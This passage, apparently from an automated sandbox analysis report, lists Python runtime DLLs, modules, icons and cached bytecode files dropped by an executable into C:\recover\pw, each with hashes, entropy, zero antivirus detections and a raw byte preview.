SHA-512:	B5BF384D14C3C8221A42288F97D910491730C84BE0A783F5BD17FC2E3DF7F2BB63529571C97CB08064066AA90F07FA00C837944E43DB62E071089A720A8BB551
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_...>...>...>...F-..>...K...>...K...>...K...>...K...>..=K...>..8B...>...>..r?...F...>..=K...>..=K...>..=KA..>..=K...>..Rich.>..........................PE..L...~.,d...........!.........L......t........................................ .......P....@..........................q..d...4r.........................../..........Pm..T............................m..@...............,............................text............................... ..`.rdata..............................@..@.data....J.......H..................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\_uuid.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22808
Entropy (8bit):	6.937211239543495
Encrypted:	false
SSDEEP:	384:vqIesePwjnE8Gtr5ILZwkeHQIYiSy1pCQiI/NPxh8E9VF0Nyn54qSc:CIeZkgr5ILZwkU5YiSyvT/NPxWElQc
MD5:	59F19A807B3E13D8E707C942A38BF84E
SHA1:	469DEC6DA89737795C72FF51F69B44462E55099A
SHA-256:	7ED17311B391FFFF58F073ECF71829F73629033458A54A435DC62014281A733C
SHA-512:	3C10A7B3AF03E1AE95C577FB4FEE108D0ACFF876DFE0FD1079F74DE30881B5F3659AAA1F52A857CEC9C7430248094E896261C297A25C62D4951252A3A74EB48A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........[..:...:...:...B'..:...O...:...O...:...O...:...O...:...O...:...B...:...:...:...O...:...O...:...OK..:...O...:..Rich.:..................PE..L...M.,d...........!......................... ...............................`......5.....@..........................%..L....%..x....@...............*.../...P..l.... ..T...........................H!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc..l....P.......(..............@..B................................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\_zoneinfo.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	39192
Entropy (8bit):	6.848342556185962
Encrypted:	false
SSDEEP:	768:64mK0kiN79J9M3MMc0U2cLbEMRIL9XbR5YiSyvQydPxWEaQK:6rN9JAU9bEMRIL9X77Sy4WPxdK
MD5:	3737DA6429A20AF06F34F307C5611E1C
SHA1:	5FF4FBF0C655DFF7EADBA5FBEBDC2C889003F869
SHA-256:	FCD5C9C9131113354ACEB5A9ED26C75EA7DDC9B44DDC4286A1EFFFC1E3EE4D55
SHA-512:	BF6C94331E8A84302DA2F0AB765B2F44E3EA69A1472689498F1A6D67451B58A944505B63C607F9004A1B91FB3221CE2FB2FD6F1FA088128057596D762A189ACB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........./..tA..tA..tA......tA..@..tA..D..tA..E..tA..B..tA.=.@..tA..@..tA..t@.tA.=.I..tA.=.A..tA.=....tA.=.C..tA.Rich.tA.........................PE..L...:.,d...........!.....:...........?.......P............................................@..........................]..T....]..x....................j.../......x....X..T...........................PY..@............P..L............................text....9.......:.................. ..`.rdata..f....P.......>..............@..@.data........p.......V..............@....rsrc................Z..............@..@.reloc..x............d..............@..B........................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\libcrypto-1_1.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2276120
Entropy (8bit):	6.111762453951637
Encrypted:	false
SSDEEP:	49152:3L7Iy5xntVyJSFtv3A8+QK1CPwDv3uFfJKShr:3L7Iy59nFdA8m1CPwDv3uFfJK+
MD5:	4633D62F19C0B25318B1C612995F5C21
SHA1:	50601F9E2B07D616FDE8EE387CE8CDCB0CA451DF
SHA-256:	47376D247AE6033BC30FEE4E52043D3762C1C0C177E3EC27CA46EFF4B95C69B0
SHA-512:	D6A18E43B1A20242F80265054ED8D33598439FFA5DF4920931FF43EC91F1AC2D8A3931913FD5569F48C9B1B9EA845D9E017EA23571A1AC1B352502A3E823ECA9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..uk..uk..uk...k..uk..tj..uk..pj..uk..qj..uk..vj..uk..tko.uk..tj..uk2.qjs.uk2.uj..uk2..k..uk2.wj..ukRich..uk........PE..L......c...........!...".(...........g.......@................................#.....8."...@.........................`....h....!.T.....".\|............."../....".4.......8...............................@.............!..............................text....&.......(.................. ..`.rdata..v*...@...,...,..............@..@.data...TY...p!......X!.............@....idata........!......n!.............@..@.00cfg........!.......!.............@..@.rsrc...\|.....".......!.............@..@.reloc........".......!.............@..B................................................................................................................................................................................................................................

C:\recover\pw\DLLs\libffi-7.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	29208
Entropy (8bit):	6.643623418348
Encrypted:	false
SSDEEP:	384:l69PtXvz8cLBN3gHhY4AFlfIvDzqig2c2LuRRClfW23JLURlV5uH+6nYPLxDG4yG:l65tXvz2CTIvy2c26A35qYvWDG4yG
MD5:	BC20614744EBF4C2B8ACD28D1FE54174
SHA1:	665C0ACC404E13A69800FAE94EFD69A41BDDA901
SHA-256:	0C7EC6DE19C246A23756B8550E6178AC2394B1093E96D0F43789124149486F57
SHA-512:	0C473E7070C72D85AE098D208B8D128B50574ABEBBA874DDA2A7408AEA2AABC6C4B9018801416670AF91548C471B7DD5A709A7B17E3358B053C37433665D3F6B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)..qm.."m.."m.."d.p"o.."?..#o.."...#n.."m.."I.."?..#f.."?..#g.."?..#n.."...#k.."...#l.."...#l.."...#l.."Richm.."................PE..L.....]...........!.....@...........E.......P......................................H.....@.........................pU.......X..P....................X.......p..<....R..............................0R..@............P...............................text...j>.......@.................. ..`.rdata..p....P.......D..............@..@.data........`.......R..............@....reloc..<....p.......T..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\libssl-1_1.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	552216
Entropy (8bit):	5.779566253639773
Encrypted:	false
SSDEEP:	12288:MaYPTKwDsuz9V/9SYeujF59CF5e3SnEEATLU2lvzS7u:nYPTRDD9ND58GqbATLU2lvzS7u
MD5:	8845FCF1AE2DE1018DAAAEA01D9BA2D5
SHA1:	DB67697EE052738E6F23CC1D29B261BEF1D423E5
SHA-256:	B7E16AF3EFF9AB0869CFE60C256394A70A867879B7F56544A724D6AC1CCFAB88
SHA-512:	2792FE94DD35B594514C4FAD091C9683EC47814335D046F776CD1F043C576533E99088949F1F1AE6814C16DBDDA430EC53B2D64621EA0C818CADB91EC5E3A788
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<...x.._x.._x.._qf._t.._7b.^z.._3f.^z.._7b.^s.._7b.^r.._7b.^z.._.b.^{.._x.._..._.b.^T.._.b.^y.._.ba_y.._.b.^y.._Richx.._........................PE..L......c...........!...".....4......."....... ......................................P.....@......................... =...N...........0..s............>.../...@...6...,..8............................+..@............................................text...-........................... ..`.rdata..*k... ...l..................@..@.data....;.......6...\|..............@....idata..dA.......B..................@..@.00cfg....... ......................@..@.rsrc...s....0......................@..@.reloc..)>...@...@..................@..B........................................................................................................................................................................................................

C:\recover\pw\DLLs\py.ico

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	MS Windows icon resource - 12 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 8 bits/pixel, 64x64, 8 bits/pixel
Category:	dropped
Size (bytes):	75809
Entropy (8bit):	5.969322217946821
Encrypted:	false
SSDEEP:	1536:+sNNRmOha6UEm3BL61Z4tXSZ6HTk1FaA87Gl6L:+2No6UtB+1eJ9Z
MD5:	B35F68A3086562C4D5453FAAD5A3474E
SHA1:	673904FF9B305A6600E47AD715289122EC0B046A
SHA-256:	150C470F9943B806B44312EFDEC85755F22F8D7D52B31F93A9AF3C43E8627381
SHA-512:	6EC80921942B3BD3C85EF24A2DE5454A34A3AD11A1BC69B601AEA7B873E318073C0B2D78C26685999F78EC64A86282C08C53AB8D77E41C661AE968EA52C08176
Malicious:	false
Preview:	...............7......@@......(....8..00...........N.. ..........m]...............f..........h....l........ .t/..Er..@@.... .(B......00.... ..%...... .... ............... .....1......... .h....#...PNG........IHDR.............\r.f....pHYs..........o.d.. .IDATx..{.$.}....w........X..V.....F..]..T..P.H().........P)..<....Y..%%...[B2....2."..\......tOwO..9=.>}^=.5s.....==gz......;..;.T.x..0.3.x.....,.l..f.a..0......`..0.....a&.6..3...`......L0l..f.a..0......`..0.....a&.6..3........_.ro...Y:>.T...V...0c.......3v..X8..0c...56.....f,.t:..,.l....#......k8...l....G..1.u.6..n....5.......w.{...N..ND.\'P.......j...1.!.u+n..v\|.._... ..>.....p.....}.v.y.h6...N...%`....[.l....F`.a.....og#....`..6.....f.`#.p..`..6.....fla#0...0c....q.m.9..{......3.\v.e....>}......."...p..w8E.l....`V..........H..l....e.]..~..Nm'....`V$.v..G?.Q...l...0+.6.v..0+.6.f..0+.6.z..0...].........q...O..`..L..w.v6......#....(...a..L.l....`&.6.)+~Y.........aY.{.r?..{.n.....{..F...o\QK.s..L47.p

C:\recover\pw\DLLs\pyc.ico

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	MS Windows icon resource - 12 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 8 bits/pixel, 64x64, 8 bits/pixel
Category:	dropped
Size (bytes):	78396
Entropy (8bit):	6.10453452748711
Encrypted:	false
SSDEEP:	768:WNXYu6xYBxqjlETx2UjHe20dH397tiKZoZa1ABtc8Yg2zR51ZV2vL2inK/fR1:sayx2lETxN+HTo8+bil1ZqdKX
MD5:	B1C9980131A3F20E344AA3AA2C8DEA49
SHA1:	0FE02F0ED5E56BBE7E4E98B1DCA061ED17FBF5C7
SHA-256:	FDA28A734788A3F175CB6AED4DAEB5F05F0E49F6A272CCD2051BA337F7B3B42F
SHA-512:	84CA107ACE44FA1964C6C1EA93FC767BDE88363339FC426A3D660DA53C84BADE14F1FAE99C494483BF2B5312938D84B0C1733C85E82592B8FFE8A28F76186A3A
Malicious:	false
Preview:	..............r?......@@......(...8@..00..........`V.. ...........e...............m..........h...xt........ ..1...y..@@.... .(B.....00.... ..%...... .... ............... .....L$........ .h....-...PNG........IHDR.............\r.f....pHYs..........o.d.. .IDATx..y..W}..-.^....n.v.lK..@.../.,....`...s0g.@.0.d...8.@B&..9.'.@L....NX-..-.8v[.. ./-....zU..[..[.....w?...zU...[.-......=..#.h4..1./..h....4..F+......@..`...h:...4..F+......@..`...h:...4..F+......@..`...h:...4..F+.....O......x.9..:...t..lB{...B+..E+.M.....j%0Ah..i;,........m.....@.hO`.h..i{.'0v...=.ei%0F.. .C..M.+..<....w..d..~g&.j.*.y.uQ.T`Y..:....w.:.......y.t.BH.w.}.....v..#X.x1.....$0..F....8..<J.R.z8..Z.h....&...4m..'P.V3]..@6...........J ...4m.V...V...D+..A+.M.r.....j% F+.M[s.....Z...}.{Z.....=L.dI..9sF{....4......V.2.'....f.=....@3.h...t%...f.q...L^....Z.hf%.......3g:V.h....h%..V..Y.V.j....z.......#.J@.V...A+.$Z.h:...A,\.0.......t.........@3&fz..4.p..c....w.......\c.].g.....o...n....m.6.

C:\recover\pw\DLLs\pyd.ico

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	MS Windows icon resource - 12 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 8 bits/pixel, 64x64, 8 bits/pixel
Category:	dropped
Size (bytes):	83351
Entropy (8bit):	6.269678824341842
Encrypted:	false
SSDEEP:	1536:fVLhV30CuzZO5Wf/DGsea4SNum23KXVDTEhr:f1hV3Uz447lea4muXG1TEhr
MD5:	1A8230030D821CF8EA57CE03AAEAD737
SHA1:	12656788B1FBE4D2375ECC2989A4D9DA69CAA0D6
SHA-256:	C4EC1845A5724B2A83500F3BD940355E2FE26EFC6B4FE6C208365359A6130DA1
SHA-512:	AF6356DC67249E724AE30F65DDEFB4E53C6F2703DA32FD5F135598BBD6189BEE70950242F52985478DE99979D1271EEC9F4E2981A29A9BC02C673E9B668FD0C1
Malicious:	false
Preview:	...............H......@@......(....I..00..........._.. ..........hn...............w..........h....}........ ..;..@...@@.... .(B../...00.... ..%..W... .... ......&........ ......7........ .h.../A...PNG........IHDR.............\r.f....pHYs..........o.d.. .IDATx..y...u.....u..l3..+Ar...)B..-.c...Y....X.$[....r..c.;>I..>..(...X.m%..G... ..H.....F,..f....~.T..W.^U...Yz.}.S....5.\|....S^z.%H$...7 .H..i.$.e.4...2F...d.#..D....@"Y.H. .,c...H.1..H$..i.$.e.4...2F...d.#..D....@"Y.H. .,c...........B.d~H....G>.,.},%d. i......H. i9../.R..&!....0.C..&!...%.F.9H. iY...=..HZ.i.f.4...G...i.:.8....-..9.m..y>.G.\...x...~......O."......0".#F@..$c...B>.l&M=...........qm?>.K..?...azz:.Zi..#...E...../..t:.{...$C..IK0.n...._FGGG....#...e.\7......@...@.Rl...../J#.$.....[6..'_.9.f ...%..@s..@..H`.H. ii.l.......5.._..W.....@.......D....F.B...@....@.d.F 9..H.....$.....@...u3>.S...vzz..........@.$yx..~.g...w..Y.F@...E..x...,i...F...G..p...,...=.....f......@.lx..'..~H...b....,+.~.I\|.#?.t

C:\recover\pw\DLLs\pyexpat.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	170264
Entropy (8bit):	6.693484567356425
Encrypted:	false
SSDEEP:	3072:M5QtHVOqzYcylPwZzS8JqTuo0BmSWjIuVBY/xux08YvVILLh8ptCuX5x+:M2tHjzYcyu+unESWXA/xaYvD0
MD5:	92C72753FA5C8EAA615B007F89CDB482
SHA1:	34238E31E0D963838FF551B184EAB3267767AD12
SHA-256:	EBBDE07AFB2BB356CD400E97D8AFB5ABBC121CC0CC90F99BEC9C3FA5CA60DE14
SHA-512:	A80BBA7095E7178591266E411414B3A6A2CBA09B79F330631AC07A72C6EB2AFD1C50D7346938ED337A911307B15660C17D14FACC7AFC6EFD9759BFBEC2121BD6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......i^C.-?-.-?-.-?-.$G..#?-..J,./?-..J(.!?-..J).'?-..J../?-..J,./?-.fG,..?-.-?,._?-..J%.)?-..J-.,?-..J..,?-..J/.,?-.Rich-?-.........PE..L...M.,d...........!......................................................................@..........................:..P...`:.......p...............j.../......( ...5..T............................5..@............................................text............................... ..`.rdata...U.......V..................@..@.data........P.......2..............@....rsrc........p.......>..............@..@.reloc..( ......."...H..............@..B........................................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\python_lib.cat

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	162444
Entropy (8bit):	6.899798696437328
Encrypted:	false
SSDEEP:	1536:t01xIh2ISDWCMiVQwmXWFRlbIMWa1PhWkRtjNsj2+1/L3kr7Sy5Pxy:t0HIcI7C/ZIWVbZhWijNsjxkrvxy
MD5:	830E831E1896D35A5E414D518AC05A2B
SHA1:	D43B639FA1D0614EE40A85483998ED7C4996AB19
SHA-256:	739B93F1ABFD7E6188F0C86172E526DAD72E29E0FC177E4B8C4E3686DD90AE9B
SHA-512:	81FD4E1E2D376262B9F0C235EA817ECD608FE3B734CA25715BA64E33D831A330DDE5D68C3F821C540B442727D3B008103E584E6CC91DACBA6F17C0D31A7CF4C8
Malicious:	false
Preview:	0..z....H.........zw0..zr...1.0...`.H.e......0..K...+.....7.....K.0..K.0...+.....7.....].GkN..D.n...]....230405005111Z0...+.....7.....0..K.0......T...Q...w.Z...g.1.0...+.....7...1...0... ....%...%.......].4i,`..(...1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... ....%...%.......].4i,`..(...0....T..\|../..IT....Q.1.0...+.....7...1...0.....'......s..%R=5..1.0...+.....7...1...0.....K..`....T...#\.1.0...+.....7...1...0.....2m..3.......N..D1.0...+.....7...1...0... .......V.C.........>..wf...O...1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .......V.C.........>..wf...O...0.....KG{6.8.o.<v.....1.0...+.....7...1...0...7.d3t.[....Fh....!1.0...+.....7...1...0... .k.r.....r...K=.w.&.....mY+..1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .k.r.....r...K=.w.&.....mY+..0... .l..x....h......=....'&.ZZGe.7.31i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .l..x...

C:\recover\pw\DLLs\python_tools.cat

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	31213
Entropy (8bit):	7.250253600675095
Encrypted:	false
SSDEEP:	384:e+Obmujt2xtYZtMPgs+03HQIYiSy1pCQAGy+Pxh8E9VF0NyOXz0:eE0tQYYPf5YiSyvny+PxWEUQ
MD5:	E33C9E857AD27ADBE33B26AB13890657
SHA1:	D70E576009A35D201399059DBE6DEAC35E1AC168
SHA-256:	EDE0345311D5D825BA03E10423CF51515B3F3962F1286E46E1E6198ADFEC67CF
SHA-512:	AC370602AC8E55E5B524AC5E961CC5185978AE8532A29F24B6F806E3355530C3F67127AC2F65FE4849AC8B354DE7D1102B8E11FB3C5457A5548B1125209FE913
Malicious:	false
Preview:	0.y....H........y.0.y....1.0...`.H.e......0.K>..+.....7....K/0.K+0...+.....7.....1..4.&N....XE...230405005423Z0...+.....7.....0.J.0......n)z;.....n7...1.0...+.....7...1...0... ..ok..m.e,W=:a.VS...<....v.L..1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... ..ok..m.e,W=:a.VS...<....v.L..0... ..7]Y....M..u...8..([M.A...}...91i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... ..7]Y....M..u...8..([M.A...}...90....[2j[...kSR.V....81.0...+.....7...1...0... ...F....(.jg.cc]..<.t.1..a.&c\..1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... ...F....(.jg.cc]..<.t.1..a.&c\..0... ..d...m..'...n.L!...>..S.sU.g.1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... ..d...m..'...n.L!...>..S.sU.g.0... ..?..."`...^.M..\|...D.....@C....1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... ..?..."`...^.M..\|...D.....@C....0.....v.ow......6:.ZGU,1.0...+.....7...1...0... ..#\|.!+.Hy

C:\recover\pw\DLLs\select.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	27416
Entropy (8bit):	6.835600420682668
Encrypted:	false
SSDEEP:	768:+WFXERsAnq2NWow4VILQGR5YiSyvLPxWEa0P+:+xqwWow4VILQGf7SyzPx+
MD5:	6EBA3E39E61C839818F502BD67BBD672
SHA1:	CD724D843CA57F6EDBBBE94B3C352769F70AED65
SHA-256:	C942F16C17687E988434813E50D2FB222C528D0E56CCF2D15B13104676F93FC9
SHA-512:	8614F4DBF7DF68D66BA611B31135EB35EF5C6D24E1C3F3EC4E8DF67BE75102DA991F26FEA76EF930B686A1ED08AD4A4C5F62CB2BEA4233B26D276FFD3C54FC31
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5$..qE{.qE{.qE{.x=..sE{.#0z.sE{.#0~.zE{.#0..{E{.#0x.sE{..0z.sE{.qEz.LE{.:=z.tE{..0s.pE{..0{.pE{..0..pE{..0y.pE{.RichqE{.........PE..L...H.,d...........!........."...............0......................................u%....@..........................:..L....;..x....`...............<.../...p......D6..T............................6..@............0...............................text............................... ..`.rdata.."....0......................@..@.data........P......................@....rsrc........`.......0..............@..@.reloc.......p.......:..............@..B........................................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\sqlite3.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1196824
Entropy (8bit):	6.776326140308749
Encrypted:	false
SSDEEP:	24576:E6OOR2q+dGpg4XzLojJT5r6hKarVTgnEEUNTZOdEV8RpDq+m5:zR2L94Xo5Q5OEeEYDzm5
MD5:	C60F6C4051EB55350C6EEDF5A87016AA
SHA1:	DB1C31C12BE04A5785D7CA3B8EA91B290EE9D1D8
SHA-256:	376D80DB08CEC2C8873A4D5EBC7D83F50F26A43EBAA837020874C8586FD85975
SHA-512:	FCBDFC27A778B1084BE96B88CF438E0937ADB8BABC41B538892B76283232AA557CE46701A8F62AB2FDB208AB0933F0E473CBD6DAD59203DC7495F48EE289B2A3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Z.............^....L.....L.....L.....L.....U.........................2..........Rich...................PE..L.....,d...........!................_........................................@.......7....@.........................`;..."...].........................../...........5..T........................... 6..@............................................text............................... ..`.rdata...Y.......Z..................@..@.data....'...p..."...Z..............@....rsrc................\|..............@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\unicodedata.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1114904
Entropy (8bit):	5.393522969186712
Encrypted:	false
SSDEEP:	12288:PAKqQCb5Pfhnzr0qlmL8klMmuZ63NGM7IRG5eeIDe6VZyrIBHdQLhfFE+tc9S:PAKsZV0mmduJMMREtIC6Vo4uLc9S
MD5:	73A25EF47977BFF82315023F7F8E9DB1
SHA1:	9BD7882C39A995EA4044FB5D562060C16AF9A023
SHA-256:	AC2966C1A1F1FBEE97666E0AAADE5AB960B445AF3BACC1650B83EA8B637F2F7A
SHA-512:	C6155957E37C7A690E815F78508CCDCE9036E2EFFE45A9B47EAAFBB8A091D661B808C1A2CC6C7B83B41752121B869A877C981EE346B790F3CF3900A3D6F0B198
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........#..p..p..p...p..p..q..p..q...p..q..p..q..p..q..p..q..p..p...p..q..p..q..p..tp..p..q..pRich..p........................PE..L...K.,d...........!.....8...........=.......P.......................................X....@.............................X................................/..............T...........................P...@............P..,............................text...J7.......8.................. ..`.rdata...}...P...~...<..............@..@.data...8...........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\winsound.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	27928
Entropy (8bit):	6.803210417146149
Encrypted:	false
SSDEEP:	768:8wPBcVsin9R+URILO7I5YiSyvCJPxWEau:8wP2L9R+URILO767SyuPxb
MD5:	49F55D492AD016A6F0D0183768F8C903
SHA1:	0001BFFA17EEF519406710FA18808047EF19B590
SHA-256:	865C296E84C03E277145DC8DEE6E14C2AC418371A8D227576682ED596708EED8
SHA-512:	B0B57AF43FF2A3498EDCEEFAE71E253B3D9AEF23086D2BB41779A8B370BBA2801CA0CF5EFDD998E4415CB2EA61AFDA028BD1781C2DBBC8D1C157425B12D861DE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6o..W.[.W.[.W.[./.[.W.[.".Z.W.[.".Z.W.[.".Z.W.[.".Z.W.[)".Z.W.[./.Z.W.[.W.[.W.[)".Z.W.[)".Z.W.[)".[.W.[)".Z.W.[Rich.W.[........................PE..L...L.,d...........!.........(...............0......................................3.....@..........................<..P...`<.......`...............>.../...p..X....7..T............................7..@............0...............................text...T........................... ..`.rdata.......0......................@..@.data...p....P......................@....rsrc........`.......0..............@..@.reloc..X....p.......:..............@..B........................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\pycache\future.cpython-310.pyc.33657392

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4129
Entropy (8bit):	5.349736252596738
Encrypted:	false
SSDEEP:	96:GgdNzUuGd+P2sKNUWYom2j8kQAnPPELBG0uY:z4BRRYom1gPG00uY
MD5:	019F8E5C8C1D0200E1FF8C386A791AA2
SHA1:	5DDDE1B4C9FB48211DB1FD7997DD4ECE7090BA64
SHA-256:	4692837A32DEAEBC19B9A739BC1FA8950FD79A83475C43E96F4D52282FF2A417
SHA-512:	F26A699F30C4A778A032EB233E65ECDB426BE5C82C02665CBE0567C40EFE06BEE21BA28999BE21550775BDF03749A8C2A82641BA4318A7F37A59665A73C93597
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.g.d...Z.d.g.e...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.G.d.d...d...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.d.S.).an...Record of phased-in incompatible language changes...Each line is of the form:.. FeatureName = "_Feature(" OptionalRelease "," MandatoryRelease ",". CompilerFlag ")"..where, normally, OptionalRelease < MandatoryRelease, and both are 5-tuples.of the same form as sys.version_info:.. (PY_MAJOR_VERSION, # the 2 in 2.1.0a3; an int. PY_MINOR_VERSION, # the 1; an int. PY_MICRO_VERSION, # the 0; an int. PY_RELEASE_LEVEL, # "alpha", "beta", "candidate" or "final"; string. PY_RELEASE_SERIAL # the 3; an int. )..OptionalRelease records the first release in which.. from __future__ import FeatureName..was accepted...In the case of MandatoryReleases that have not yet occurred,.MandatoryRelease pre

C:\recover\pw\Lib\pycache\_collections_abc.cpython-310.pyc.23437208

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	32923
Entropy (8bit):	5.033200468289584
Encrypted:	false
SSDEEP:	768:qpDc8l+6pg6mG5JlooICwimTmIufuBEQtJHVDOA/8AH:i9l+VVSooICwimT3ufu+AJ1DOcvH
MD5:	E429FFFC34C2156B0BD33A8376004FEB
SHA1:	61EC64C02F8FC006FB824CD24F0E071C0C1DB0FF
SHA-256:	402BE201767EE86CCE7FA388AEF7FCA12AF0CE600506ADE149527E71E0966FFD
SHA-512:	921F8EDA3B949231D118D9B3188032FC3206BC2A69C90EA87F7AAEE0166CFDA01726C6BB55CDDC54E2EAFC5FAE89CCED6CA588DAF06A66EF1A3D92A14F1B9C66
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.e.e.e.....Z.e.d...Z.d.d...Z.e.e...Z.[.g.d...Z.d.Z.e.e.d.....Z.e.e.e.......Z.e.e.i.........Z.e.e.i.........Z.e.e.i.........Z.e.e.g.....Z.e.e.e.g.......Z.e.e.e.d.......Z.e.e.e.d.d.>.......Z.e.e.e.......Z.e.e.d.....Z e.e.d.....Z!e.e.e"......Z#e.i.......Z$e.i.......Z%e.i.......Z&e.e.j'..Z(e.d.d.......Z)d.d...Ze..Ze.e..Z+e.,....[d.d...Z-e-..Z-e.e-..Z.[-d.d...Z/G.d.d...d.e.d...Z0G.d.d...d.e.d...Z1G.d.d...d.e1..Z2e2.3e+....G.d.d...d.e.d...Z4G.d.d ..d e4..Z5G.d!d"..d"e5..Z6e6.3e.....G.d#d$..d$e.d...Z7G.d%d&..d&e7..Z8e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e ....e8.3e!....e8.3e#....G.d'd(..d(e7..Z9G.d)d..de8..Z:e:.3e)....G.d+d,..d,e.d...Z;G.d-d...d.e.d...Z<G.d/d0..d0e;e7e<..Z=G.d1d2..d2e...Z>d3d4..Z?d5d6..Z@d7d8..ZAG.d9d:..d:e.d...ZBG.d;d<..d<e=..ZCeC.3eD....G.d=d>..d>eC..ZEeE.3e.....G.d?d@..d@e=..ZFeF.3e(....G.dAdB..dBe;..ZGG.dCdD..dDeGeC..ZHeH.3e$..

C:\recover\pw\Lib\pycache\_compression.cpython-310.pyc.33533320

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4510
Entropy (8bit):	5.1302655424144366
Encrypted:	false
